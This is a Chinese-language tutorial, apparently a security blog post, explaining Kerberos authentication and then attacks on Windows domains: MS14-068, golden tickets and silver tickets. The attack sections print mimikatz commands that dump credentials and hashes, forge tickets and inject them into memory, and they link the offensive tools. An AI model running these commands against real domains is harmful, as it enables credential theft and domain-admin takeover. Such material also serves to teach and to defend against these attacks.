Kerberos 是一种网络认证协议,是通过密钥系统为客户机/服务器应用程序 提供认证服务。该认证过程的实现不依赖于主机操作系统的认证,无需基于主机地址 的信任,不要求网络上所有主机的物理安全,并假定网络上传送的数据包可以被任意的读取、 修改和插入数据。
Kerberos 作为一种可信任的第三方认证服务,是通过传统的密码技术(如:共享密钥)执行认证服务的。
Kerberos协议中的角色
在Kerberos协议中,存在三个主要角色:
- 客户端(Client):发送请求的一方。
- 服务端(Server):接受请求的一方。
- 密钥分发中心(Key Distribution Center, KDC):
包括认证服务器(AS)和票据授予服务器(TGS)两个部分。
- 认证服务器(Authentication Server, AS):AS 的作用就是验证 Client 的身份(确认你是身份证上的本人),验证通过就给一张 TGT(Ticket Granting Ticket)票给 Client。
- 票据授予服务器(Ticket Granting Service, TGS):TGS 的作用就是通过 AS 发给 Client 的票(TGT)换取访问 Server 端的票 ST(Server Ticket)。ST也有资料称之为 TGS Ticket。
KDC 默认安装在**域控**中,而 Client 和 Server 为域内的用户或者服务,如 web 应用、数据库服务器和邮件服务器等。Client 是否有权限访问 Server 端的服务由 KDC 发放的**票据**来决定。如果把 Kerberos 中的票据比作一张火车票,那么 Client 端就是乘客,Server 就是火车, 而 KDC 就是火车站的认证系统。如果 Client 端的票据是合法的(由你本人身份证购买并且 由你本人持有)同时有访问
Server 端服务的权限(车票对应车次正确)那么你才能上车。当然和火车票不同的是 Kerberos 中有两张票据,而火车票只有一张。
Kerberos认证流程
当 Client 想要访问 Server 上的某个服务时,需要先向 AS 证明自己的身份,然后通过 AS 发放的 TGT 向Server 发起认证请求。这个过程分为三块:
代码语言:javascript复制The Authentication Service Exchange: Client 与 AS 的交互
The Ticket Granting Service Exchange: Client 与 TGS 的交互
The Client/Server Authentication Exchange: Client 与 Server 的交互
Kerberos的认证流程大致可以分为以下几个步骤:
- 客户端向AS请求TGT
- 客户端通过命令
kinit USERNAME
,将信息发送给AS。 - AS检查用户是否在AD(Account Database)中,若存在,KDC将生成一个密钥(KEY),用于客户端与TGS的通信。
- AS使用其密钥加密TGT,并将TGT和另一条由客户端密钥加密的信息(包含TGS Session Key)一起返回给客户端。
- 客户端通过命令
- 客户端解密信息并获取TGS Session Key
- 客户端使用本地密钥解密第二条信息,获取TGS Session Key。
- 然后将TGT以及通过TGS Session Key加密的认证信息转发给TGS。
- TGS验证TGT并生成服务票据
- TGS使用自己的密钥从TGT中解密出TGS Session Key,并用其解密客户端的认证信息并进行检查。
- TGS生成一个HTTP Session Key,使用它加密一条信息(HTTP Ticket),并用TGS Session Key加密另一条信息(包含HTTP Session Key),一起发送给客户端。
- 客户端使用服务票据访问服务端
- 客户端利用TGS Session Key解密信息,获取HTTP Session Key。
- 然后将HTTP Ticket以及通过HTTP Session Key加密的认证信息发送给HTTP服务。
- 服务端验证票据并提供服务
- HTTP服务用自身密钥解密出HTTP Ticket的信息得到HTTP Session Key,并利用它解密出认证信息。
- 若认证成功,客户端即可与远程HTTP服务完成认证,进行后续通信。
简化认证流程
Kerberos的认证过程可以简化为以下步骤:
- 客户端向KDC请求服务票据
- 客户端向AS发送自己的用户名,AS验证后生成TGT并发送给客户端。
- 客户端使用TGT向TGS请求服务票据。
- 客户端使用服务票据访问服务
- 客户端将服务票据发送给服务端,服务端验证票据后提供服务。
绕过Kerberos认证
MS14-068
- CVE编号:CVE-2014-6324
了解PAC这个东西,PAC是用来验证Client的访问权限的,它会被放在TGT里发送给Client,然后由Client发送给TGS。
Windows域中使用kerberos协议过程中,为了让服务器判断Client是否有权限访问服务,微软在Windows平台上对Kerberos协议进行了一些扩充,即在协议中增加了PAC(Privilege Attribute Certificate),特权属性证书,也就是这个PAC造成了MS14-068这个漏洞。
MS14-068是密钥分发中心(KDC)服务中的Windows漏洞。它允许经过身份验证的用户在其Kerberos票证(TGT)中插入任意的PAC(表示所有用户权限的结构)。该漏洞位于kdcsvc.dll域控制器的密钥分发中心(KDC)中。普通用户可以通过呈现具有改变了PAC的Kerberos TGT来获得票证,进而伪造票据获得管理员权限。
利用条件
- 攻击者需要获取域内普通用户的账号密码。
- 攻击者需要知道该用户的SID(安全标识符)。
- 目标服务器未安装KB3011780补丁。
- 攻击者需要知道域控制器的IP地址。
利用工具
- Pykek:Pykek是一个利用Kerberos协议进行攻击的工具包,可以生成高权限的Kerberos票据。结合mimikatz等工具,攻击者可以将票据注入到内存中,从而提升权限。
https://github.com/mubix/pykek
- impacket:impacket是一个强大的Python库,用于处理网络协议,其中的goldenPac.py工具可以用来生成并利用Kerberos票据进行权限提升。
https://github.com/fortra/impacket
- Metasploit:Metasploit是一个开源的漏洞利用框架,其中包含了针对MS14-068的漏洞利用模块,可以方便地进行漏洞利用。
黄金票据
在Windows的kerberos认证过程中,Client将自己的信息发送给KDC,然后KDC使用krbtgt用户的Hash作为密钥进行加密,生成TGT。那么如果获取到了krbtgt的Hash值,就可以伪造任意的TGT。因为krbtgt只有域控制器上面才有,所以使用黄金凭据意味着你之前拿到过域控制器的权限,黄金凭据可以理解为一个后门。
黄金票据在利用过程中由 KDC颁发 TGT,并且在生成伪造的 TGT 得 20 分钟内,TGS 不会对该 TGT 的真伪进行
前提:
攻击者需要获得管理员访问域控制器的权限,并抓取到KRBTGT的哈希值。
制作条件
制作黄金票据通常需要以下条件:
域名称:需要知道目标域的DNS根域名。
代码语言:javascript复制ipconfig/all
域的SID值:SID(安全标识符)是每个域的唯一标识符。
代码语言:javascript复制whoami /all
KRBTGT账户NTLM密码哈希:KRBTGT是Kerberos认证过程中的一个重要账户,其密码哈希是制作黄金票据的关键信息。
代码语言:javascript复制登上域控,上传mimikatz,抓取krbtgt用户的Hash值
lsadump::lsa /patch // 专用于在域控制器上导出用户密码或hash以及能够获取域sid
- 伪造用户名:黄金票据允许攻击者伪造一个有效的Kerberos票据,因此需要一个伪造的用户名,以模拟合法用户的身份进行认证。
使用mimikatz制作黄金票据
kerberos::golden /user:需要伪造的域管理员用户名 /domain:域名 /sid:域sid /krbtgt: krbtgt用户的Hash /ticket:想要生成的TGT凭证,任意填写
或者
golden_ticket_create -d 域名 -k krbtgt账户的密码hash值 -u 任意的用户名 -s 域SID -t 路径,将生成的票据保存在指定文件中,任意填写
5.再将生成的票据注入内存
代码语言:javascript复制kerberos::ptt 生成的TGT凭证
白银票据
白银票据不同于黄金票据,白银票据的利用过程是伪造 TGS,通过已知的授权服务密码生成一张可以访问该服务的 TGT,因为在票据生成过程中不需要使用KDC,所以可以绕过域控制器,且很少留下日志。白银票据依赖于服务账号的密码散列值。
伪造条件
伪造白银票据通常需要以下条件:
域名
域SID
目标服务器的FQDN
可利用的服务
服务账号的NTLM Hash
要伪造的用户名
代码语言:javascript复制登录域控,利用工具mimikatz中的模块进行收集信息,这里简单举例
privilege::debug 管理员身份运行才能进行提权操作
sekurlsa::logonpasswords 抓取内存中保存的用户所有凭据
sekurlsa::msv 抓取内存中保存的用户Hash
利用工具mimikatz进行伪造
代码语言:javascript复制kerberos::golden /domain:域名 /sid:域SID /target:域控制器名。即FQDN /rc4:server机器的hash /service:可利用的服务 /user:要伪造的用户名,任意填写
黄金票据和白银票据的区别
伪造票据
代码语言:javascript复制黄金票据伪造的是TGT
白银票据伪造的是ST
加密方式
代码语言:javascript复制白银票据由机器账户的hash加密生成
黄金票据由krbtgt的hash加密生成
获取的权限
代码语言:javascript复制黄金票据可以获得任意kerberos访问权限
白银票据只能获得部分服务的访问权限
认证流程
代码语言:javascript复制黄金票据同TGS交互,不同AS交互
白银票据不同AS也不同TGS交互,直接访问server
构造条件
代码语言:javascript复制黄金票据:域名、域sid、krbtgt用户hash、伪造的用户名
白银票据:域名、域sid、dc机器账户hash、伪造的服务、伪造的用户名